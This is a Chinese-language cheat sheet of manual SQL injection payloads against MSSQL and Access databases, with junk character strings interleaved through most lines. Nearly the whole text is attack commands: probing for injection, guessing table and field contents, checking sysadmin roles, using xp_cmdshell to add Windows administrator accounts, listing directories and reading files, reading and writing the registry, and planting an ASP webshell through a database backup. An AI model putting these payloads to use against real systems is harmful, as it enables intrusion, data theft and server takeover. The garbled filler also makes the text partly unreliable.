手工脚本注入
6 x7 R$ Z/ r* L, A. c1.判断是否有注入;and 1=1 ;and 1=2 9 B& S% {! A/ r
/ g( [5 V9 i$ E1 F6 r5 b/ c
2.初步判断是否是mssql ;and user>0 / v9 U$ ~, k' @. ?5 L( ^2 s
3 S+ S# T0 @" E& w8 U3.注入参数是字符'and [查询条件] and ''=' + H, w( `/ x+ B6 l' k7 C) F
; Q% q7 J5 q8 L ?- E* u) F, U9 T5 Y4.搜索时没过滤参数的'and [查询条件] and '%25'=' / q7 g2 [0 Y2 i* G( _
& E$ }. S; D2 M5.判断数据库系统 x4 y$ m! F ^; R3 Q2 Y0 m
;and (select count(*) from sysobjects)>0 mssql
, l# S! J2 l" X* W) N6 r' p2 [;and (select count(*) from msysobjects)>0 access 8 E' _" n1 N0 m1 S1 f
; H7 Z$ P1 d3 q; P4 p, @
6.猜数据库 ;and (select Count(*) from [数据库名])>0
1 e$ ~* W: E6 ~4 T
5 I, \+ O/ R2 f' h& T; F0 w7.猜字段 ;and (select Count(字段名) from 数据库名)>0 : q# U! W7 B, D2 I& f( P
/ z/ Y! M/ Q/ H4 D. U9 _! j8 e* J8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
/ l5 q2 h+ M: y# A9 m1 @- n, \
/ E; y+ d0 p8 P- C5 c* a9.(1)猜字段的ascii值(access)
$ Q* S" Z" D9 D% O, D, {;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 0 s; {1 x0 r3 |2 ~) w6 Y* D
" S4 q- V1 ?2 O8 L; U2 j$ s% c(2)猜字段的ascii值(mssql) - z8 G3 ]- S7 |: o3 y2 Y4 s" o
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
% P: y- u/ v7 q% [0 W/ e. w+ M D: }8 P7 h5 q
10.测试权限结构(mssql)
$ h! ?8 b" W7 D. F2 j7 A;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- - b2 B9 ~8 n3 W% S
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
2 l s7 V7 l6 d6 ~;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
5 v% \! k4 o H, F;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 6 O2 L3 z7 G5 N0 [
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- , Y }9 x0 f2 b( O7 e% k: q; ?
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
( n! c, Q) c) r `7 _;and 1=(select IS_MEMBER('db_owner'));-- 7 m3 x6 W+ k! U# h
+ T7 i! X+ |) i; y/ h
11.添加mssql和系统的帐户
. g6 E( k$ V7 };exec master.dbo.sp_addlogin username;--
( _+ z6 I- u6 n B- {, ^& k
8 X5 ~" f C& R$ Z2 ^) a. _0 J: c;exec master.dbo.sp_password null,username,password;--
/ s8 s" Y$ o6 k9 C% l6 f4 N: j% F# t3 W. c% I
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
) I0 q ^: h4 H# X( a$ o
6 W+ d Y t3 w6 O _5 U;exec master.dbo.xp_cmdshell 'net user username password ) a& Z' ?6 v* K! p
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- x- _2 W; b* U# `3 G
* x7 Q- p/ ~0 W J, t2 p* o) X% R$ D
;exec master.dbo.xp_cmdshell 'net user username password /add';--
# L% a- \6 o4 Y/ ^9 ?2 a8 t% ~
5 H# B9 D- w) Z. Y2 ~; g;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 1 v4 u6 R6 w; n
; b. m$ M- _4 S1 r8 y$ W. Q+ T$ T12.(1)遍历目录 6 Q9 T. J4 j r9 q
' D% s0 Z& X) [" B) |* c& z& p
;create table dirs(paths varchar(100), id int)
0 S; {" n4 Z" |) U$ a; l;insert dirs exec master.dbo.xp_dirtree 'c:\'
) g) R1 J( x& y" \;and (select top 1 paths from dirs)>0 0 K4 `0 x1 T7 l6 G1 P5 k
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
- o+ A5 L: t6 h
- r& R& s: k3 e6 s/ f0 |2 R(2)遍历目录 / ?- U+ h8 A( M' c
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
5 {" Y0 a% l5 m. M8 [/ X) K;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 4 V8 r: `# t' k* H; j9 w( g) ?
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
5 C5 u! j4 V6 U;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
, T( m# r9 a& v- k;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
7 {6 p8 Q5 ~) g; a
( N0 P% E* ] j- T, U13.mssql中的存储过程
: B8 K7 \1 L$ x. N$ ~1 o Q3 S* P5 c
xp_regenumvalues 注册表根键, 子键
2 ]$ e/ Y' e+ i' q6 M# h1 H;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 & Z* p5 z) X8 o2 E. w# F2 Q5 x
- l& f+ K3 x+ f: E8 exp_regread 根键,子键,键值名
" G3 C& j9 @: e; Z0 J' A;exec xp_regread 0 t4 e" ]- a3 i" z7 F
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 5 b$ z! b; X/ ^1 g
+ V4 u, S6 P8 k* a" W M
xp_regwrite 根键,子键, 值名, 值类型, 值 8 Z, j4 M: w; U
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
& N# Q/ m! ?" X3 n9 l;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ( z; |. f% |' C+ t9 D5 u% \0 ]
7 T6 N" x4 u0 d7 e( y1 f& J$ `
xp_regdeletevalue 根键,子键,值名 ! D2 @6 r, j2 r3 A- g$ K# d
" x e Q: s" x8 r9 qexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 8 X! Y7 j" M7 B1 M4 E( L9 b' S
/ q" V, Y! ]4 }3 l D5 _$ c
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ! b7 A8 K5 Q" S; e" s1 U6 @1 w
, |/ V7 D5 @5 W2 F' F3 o8 T14.mssql的backup创建webshell 4 H9 S$ u! P. t/ F
use model
$ q6 Z4 j( {0 X+ Z9 n" ecreate table cmd(str image); - l8 G3 J$ h: q
insert into cmd(str) values (''); 4 j3 n8 W6 O: z' _$ c# B
backup database model to disk='c:\l.asp';
/ {# |8 @0 M0 ?% J8 L! O
9 P- T, F) ^0 Q! Q/ z0 E15.mssql内置函数
9 g2 ?. X) S1 |& U. D' m6 j;and (select @@version)>0 获得Windows的版本号 : F- o& q0 l% Y/ l
;and user_name()='dbo' 判断当前系统的连接用户是不是sa / O; F$ n; a1 r% Y- D, {" o
;and (select user_name())>0 爆当前系统的连接用户
: B- |) p6 x# m5 T/ Y* Z! n;and (select db_name())>0 得到当前连接的数据库 ' ]7 q, K) [% T! Q
. I! y& m2 o+ ]- j$ O16.简洁的webshell , p1 W1 g. b$ p( l, v5 h1 O
8 u& U: i5 @- X1 O: S( P
use model ! W9 k8 \$ Q; n9 Z1 f9 o, S1 S
+ Y, p; [3 {$ N
create table cmd(str image);
" B7 r5 l3 J% M, \0 ]* P0 o; }5 T- v4 \1 _
insert into cmd(str) values ('');
: M( ^! v" t0 j' x2 F+ q
/ X, n: s- k6 v0 t( ] ?* M6 fbackup database model to disk='g:\wwwtest\l.asp';
( b, V, \1 k5 D, |, @# r9 | ! ~- q' o; _- V F& b
|